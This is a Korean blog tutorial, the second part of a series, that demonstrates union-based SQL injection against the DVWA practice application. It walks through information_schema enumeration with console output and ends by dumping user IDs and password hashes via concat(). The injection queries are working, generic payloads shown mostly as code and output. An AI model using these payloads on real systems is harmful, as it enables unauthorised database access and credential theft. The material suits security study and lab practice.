Sh4n3e
[SQL Injection] DVWA로 알아보는 SQL INJECTION 2 본문
어제에 이어 추가적인 정보를 추출하는 방법에 대해서 소개해보고자 한다.
0x05. SQL Injection을 통한 DBMS 정보 수집
DBMS내에는 모든 정보를 아우르는 스키마가 존재한다. 그것의 이름은 Information_schema이다.
우리가 DBMS로 접속하여 show databases; 라는 명령어를 사용하였을때, 우리는 아래와 같은 결과를 보통 볼 수 있을것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | MariaDB [(none)]> select user(); +----------------+ | user() | +----------------+ | root@localhost | +----------------+ 1 row in set (0.00 sec) MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | dvwa | | examdb | | information_schema | | mysql | | performance_schema | +--------------------+ 5 rows in set (0.00 sec) | cs |
위의 경우는 root의 권한을 통해 본 Database 들이며, 아래의 경우는 dvwa에 대한 권한만 존재하는 dvwa계정을 통해 본 결과이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | MariaDB [dvwa]> select user(); +----------------+ | user() | +----------------+ | dvwa@localhost | +----------------+ 1 row in set (0.00 sec) MariaDB [dvwa]> show databases; +--------------------+ | Database | +--------------------+ | dvwa | | information_schema | +--------------------+ 2 rows in set (0.00 sec) | cs |
이를 통해 알 수 있는 것은 information_schema라는 스키마는 어느 계정이던간에 접근 가능한 데이터베이스임을 알 수 있다.
그럼 이러한 Information_schema에는 어떤정보들이 존재하는지 알아보자.
show tables;라는 명령어를 통해 해당 스키마 내에 존재하는 테이블들을 조회해 보았다. 그 결과는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | MariaDB [Information_schema]> show tables; +---------------------------------------+ | Tables_in_information_schema | +---------------------------------------+ | ALL_PLUGINS | | APPLICABLE_ROLES | | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | COLUMN_PRIVILEGES | | ENABLED_ROLES | | ENGINES | | EVENTS | | FILES | | GLOBAL_STATUS | | GLOBAL_VARIABLES | | KEY_CACHES | | KEY_COLUMN_USAGE | | PARAMETERS | | PARTITIONS | | PLUGINS | | PROCESSLIST | | PROFILING | | REFERENTIAL_CONSTRAINTS | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | SESSION_STATUS | | SESSION_VARIABLES | | STATISTICS | | SYSTEM_VARIABLES | | TABLES | | TABLESPACES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | | GEOMETRY_COLUMNS | | SPATIAL_REF_SYS | | CLIENT_STATISTICS | | INDEX_STATISTICS | | INNODB_SYS_DATAFILES | | TABLE_STATISTICS | | INNODB_SYS_TABLESTATS | | USER_STATISTICS | | INNODB_SYS_INDEXES | | XTRADB_RSEG | | INNODB_CMP_PER_INDEX | | INNODB_TRX | | CHANGED_PAGE_BITMAPS | | INNODB_FT_BEING_DELETED | | INNODB_LOCK_WAITS | | INNODB_LOCKS | | INNODB_TABLESPACES_ENCRYPTION | | XTRADB_INTERNAL_HASH_TABLES | | INNODB_SYS_FIELDS | | INNODB_CMPMEM_RESET | | INNODB_CMP | | INNODB_FT_INDEX_TABLE | | INNODB_SYS_TABLESPACES | | INNODB_MUTEXES | | INNODB_BUFFER_PAGE_LRU | | INNODB_SYS_FOREIGN_COLS | | INNODB_CMP_RESET | | INNODB_BUFFER_POOL_STATS | | INNODB_FT_INDEX_CACHE | | INNODB_SYS_FOREIGN | | INNODB_METRICS | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_CMPMEM | | INNODB_SYS_TABLES | | INNODB_SYS_COLUMNS | | INNODB_FT_CONFIG | | INNODB_BUFFER_PAGE | | INNODB_CMP_PER_INDEX_RESET | | XTRADB_READ_VIEW | | INNODB_SYS_SEMAPHORE_WAITS | | INNODB_CHANGED_PAGES | | INNODB_FT_DELETED | | INNODB_TABLESPACES_SCRUBBING | +---------------------------------------+ 78 rows in set (0.00 sec) | cs |
위의 테이블들에는 각각 중요한 정보들이 존재하지만, 우리는 SCHEMATA, TABLES, COLUMNS 를 이용해 원하는 정보를 추출할 것이다.
그럼 SCHEMATA, TABLES, COLUMNS에는 어떤 정보가 존재하는 것일까?
해당 테이블에 대한 정보를 조회한 결과이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | MariaDB [Information_schema]> desc schemata; +----------------------------+--------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +----------------------------+--------------+------+-----+---------+-------+ | CATALOG_NAME | varchar(512) | NO | | | | | SCHEMA_NAME | varchar(64) | NO | | | | | DEFAULT_CHARACTER_SET_NAME | varchar(32) | NO | | | | | DEFAULT_COLLATION_NAME | varchar(32) | NO | | | | | SQL_PATH | varchar(512) | YES | | NULL | | +----------------------------+--------------+------+-----+---------+-------+ 5 rows in set (0.01 sec) MariaDB [Information_schema]> desc tables; +-----------------+---------------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-----------------+---------------------+------+-----+---------+-------+ | TABLE_CATALOG | varchar(512) | NO | | | | | TABLE_SCHEMA | varchar(64) | NO | | | | | TABLE_NAME | varchar(64) | NO | | | | | TABLE_TYPE | varchar(64) | NO | | | | | ENGINE | varchar(64) | YES | | NULL | | | VERSION | bigint(21) unsigned | YES | | NULL | | | ROW_FORMAT | varchar(10) | YES | | NULL | | | TABLE_ROWS | bigint(21) unsigned | YES | | NULL | | | AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | | | DATA_LENGTH | bigint(21) unsigned | YES | | NULL | | | MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | | | INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | | | DATA_FREE | bigint(21) unsigned | YES | | NULL | | | AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | | | CREATE_TIME | datetime | YES | | NULL | | | UPDATE_TIME | datetime | YES | | NULL | | | CHECK_TIME | datetime | YES | | NULL | | | TABLE_COLLATION | varchar(32) | YES | | NULL | | | CHECKSUM | bigint(21) unsigned | YES | | NULL | | | CREATE_OPTIONS | varchar(2048) | YES | | NULL | | | TABLE_COMMENT | varchar(2048) | NO | | | | +-----------------+---------------------+------+-----+---------+-------+ 21 rows in set (0.00 sec) MariaDB [Information_schema]> desc columns; +--------------------------+---------------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +--------------------------+---------------------+------+-----+---------+-------+ | TABLE_CATALOG | varchar(512) | NO | | | | | TABLE_SCHEMA | varchar(64) | NO | | | | | TABLE_NAME | varchar(64) | NO | | | | | COLUMN_NAME | varchar(64) | NO | | | | | ORDINAL_POSITION | bigint(21) unsigned | NO | | 0 | | | COLUMN_DEFAULT | longtext | YES | | NULL | | | IS_NULLABLE | varchar(3) | NO | | | | | DATA_TYPE | varchar(64) | NO | | | | | CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned | YES | | NULL | | | CHARACTER_OCTET_LENGTH | bigint(21) unsigned | YES | | NULL | | | NUMERIC_PRECISION | bigint(21) unsigned | YES | | NULL | | | NUMERIC_SCALE | bigint(21) unsigned | YES | | NULL | | | DATETIME_PRECISION | bigint(21) unsigned | YES | | NULL | | | CHARACTER_SET_NAME | varchar(32) | YES | | NULL | | | COLLATION_NAME | varchar(32) | YES | | NULL | | | COLUMN_TYPE | longtext | NO | | NULL | | | COLUMN_KEY | varchar(3) | NO | | | | | EXTRA | varchar(27) | NO | | | | | PRIVILEGES | varchar(80) | NO | | | | | COLUMN_COMMENT | varchar(1024) | NO | | | | +--------------------------+---------------------+------+-----+---------+-------+ 20 rows in set (0.00 sec) | cs |
중요한 정보들은 위에 빨간색으로 해놓은 부분이다.
이제 해당 정보를 어떻게 질의를해서 빼낼 수 있는지 해보도록 하자.
우선 해당 계정이 사용할 수 있는(조회할 수 있는) 데이터베이스가 뭐가 있는지 조회해보는 것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> union select 1, schema_name from information_schema.schemata; +------------+--------------------+ | first_name | last_name | +------------+--------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | 1 | dvwa | | 1 | information_schema | +------------+--------------------+ 7 rows in set (0.00 sec) | cs |
해당 UNION SELECT를 통해 우리는 어떤 데이터베이스가 존재하는지 알 수 있게 됐다.
그럼 해당 계정이 사용하는 데이터베이스는 dvwa를 사용하고 있구나 라고 생각하면 된다.
다음으로는 어떤 테이블이 있는지 알아보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> union select 1, table_name from information_schema.tables; +------------+---------------------------------------+ | first_name | last_name | +------------+---------------------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | 1 | guestbook | | 1 | users | | 1 | ALL_PLUGINS | | 1 | APPLICABLE_ROLES | | 1 | CHARACTER_SETS | | 1 | COLLATIONS | | 1 | COLLATION_CHARACTER_SET_APPLICABILITY | | 1 | COLUMNS | | 1 | COLUMN_PRIVILEGES | | 1 | ENABLED_ROLES | | 1 | ENGINES | | 1 | EVENTS | | 1 | FILES | | 1 | GLOBAL_STATUS | | 1 | GLOBAL_VARIABLES | | 1 | KEY_CACHES | | 1 | KEY_COLUMN_USAGE | | 1 | PARAMETERS | | 1 | PARTITIONS | | 1 | PLUGINS | | 1 | PROCESSLIST | | 1 | PROFILING | | 1 | REFERENTIAL_CONSTRAINTS | | 1 | ROUTINES | | 1 | SCHEMATA | | 1 | SCHEMA_PRIVILEGES | | 1 | SESSION_STATUS | | 1 | SESSION_VARIABLES | | 1 | STATISTICS | | 1 | SYSTEM_VARIABLES | | 1 | TABLES | | 1 | TABLESPACES | | 1 | TABLE_CONSTRAINTS | | 1 | TABLE_PRIVILEGES | | 1 | TRIGGERS | | 1 | USER_PRIVILEGES | | 1 | VIEWS | | 1 | GEOMETRY_COLUMNS | | 1 | SPATIAL_REF_SYS | | 1 | CLIENT_STATISTICS | | 1 | INDEX_STATISTICS | | 1 | INNODB_SYS_DATAFILES | | 1 | TABLE_STATISTICS | | 1 | INNODB_SYS_TABLESTATS | | 1 | USER_STATISTICS | | 1 | INNODB_SYS_INDEXES | | 1 | XTRADB_RSEG | | 1 | INNODB_CMP_PER_INDEX | | 1 | INNODB_TRX | | 1 | CHANGED_PAGE_BITMAPS | | 1 | INNODB_FT_BEING_DELETED | | 1 | INNODB_LOCK_WAITS | | 1 | INNODB_LOCKS | | 1 | INNODB_TABLESPACES_ENCRYPTION | | 1 | XTRADB_INTERNAL_HASH_TABLES | | 1 | INNODB_SYS_FIELDS | | 1 | INNODB_CMPMEM_RESET | | 1 | INNODB_CMP | | 1 | INNODB_FT_INDEX_TABLE | | 1 | INNODB_SYS_TABLESPACES | | 1 | INNODB_MUTEXES | | 1 | INNODB_BUFFER_PAGE_LRU | | 1 | INNODB_SYS_FOREIGN_COLS | | 1 | INNODB_CMP_RESET | | 1 | INNODB_BUFFER_POOL_STATS | | 1 | INNODB_FT_INDEX_CACHE | | 1 | INNODB_SYS_FOREIGN | | 1 | INNODB_METRICS | | 1 | INNODB_FT_DEFAULT_STOPWORD | | 1 | INNODB_CMPMEM | | 1 | INNODB_SYS_TABLES | | 1 | INNODB_SYS_COLUMNS | | 1 | INNODB_FT_CONFIG | | 1 | INNODB_BUFFER_PAGE | | 1 | INNODB_CMP_PER_INDEX_RESET | | 1 | XTRADB_READ_VIEW | | 1 | INNODB_SYS_SEMAPHORE_WAITS | | 1 | INNODB_CHANGED_PAGES | | 1 | INNODB_FT_DELETED | | 1 | INNODB_TABLESPACES_SCRUBBING | +------------+---------------------------------------+ 85 rows in set (0.00 sec) | cs |
select first_name, last_name from users where user_id = '' or 1=1 union select 1, table_name from information_schema.tables;
의 쿼리를 통해 해당 정보들이 조회가 되었지만, 문제가 존재한다. 너무 구분없이 많은 정보가 표시된 것이다.
하지만 걱정없다 우리는 위에서 조회한 schema_name을 통해 where조건문을 걸면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> union select 1, table_name from information_schema.tables -> where table_schema = 'dvwa'; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | 1 | guestbook | | 1 | users | +------------+-----------+ 7 rows in set (0.00 sec) | cs |
이렇게 되면 dvwa 데이터베이스 내에 존재하는 테이블이 2개이고, 어떤 테이블이 존재하는지 확인할 수 있게 된다.
그럼 다음으로 해당 테이블의 컬럼은 무엇을 쓰고 있는지 조회를 할 차례이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> union select 1, column_name from information_schema.columns -> where table_name = 'users'; +------------+--------------+ | first_name | last_name | +------------+--------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | 1 | user_id | | 1 | first_name | | 1 | last_name | | 1 | user | | 1 | password | | 1 | avatar | | 1 | last_login | | 1 | failed_login | +------------+--------------+ 13 rows in set (0.00 sec) | cs |
이렇게 되면, 우리는 쉬운 접근이 가능해진다.
데이터베이스 이름, 테이블 이름, 컬럼 이름 필요한 3가지를 모두 수집하였다.
이제 이 3가지를 가지고 이제 정보를 조회해보도록 하자.
0x06. SQL Injection을 통한 TABLE 정보 수집
1 2 3 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> select * from users; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select * from users' at line 2 | cs |
따라서 여기서 CONCAT()함수를 이용하여, 원하는 정보만 쏙쏙 출력할 것이다.
여기서 CONCAT()함수는 문자열을 붙여주는 user_id와 password에 해당하는 string을 붙여서 출력하게 해주었다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | MariaDB [dvwa]> select first_name, last_name from users where user_id = '' or 1=1 -> union select 1, concat(user_id,':',password) from users; +------------+------------------------------------+ | first_name | last_name | +------------+------------------------------------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | | 1 | 1:5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2:e99a18c428cb38d5f260853678922e03 | | 1 | 3:8d3533d75ae2c3966d7e0d4fcc69216b | | 1 | 4:0d107d09f5bbe40cade3de5c71e9e9b7 | | 1 | 5:5f4dcc3b5aa765d61d8327deb882cf99 | +------------+------------------------------------+ 10 rows in set (0.00 sec) | cs |
우리는 아래와 같은 결과를 뽑아낼 수 있었다.
다음편에서는 이제 Blind SQL Injection의 원리와 방법에 대해서 알아보도록 하겠다.
'Web Hacking > SQL Injection' 카테고리의 다른 글
[SQL Injection]SQL 함수(문자열 관련) (0) | 2018.04.28 |
---|---|
[SQL Injection] DVWA로 알아보는 SQL INJECTION 1 (0) | 2018.04.24 |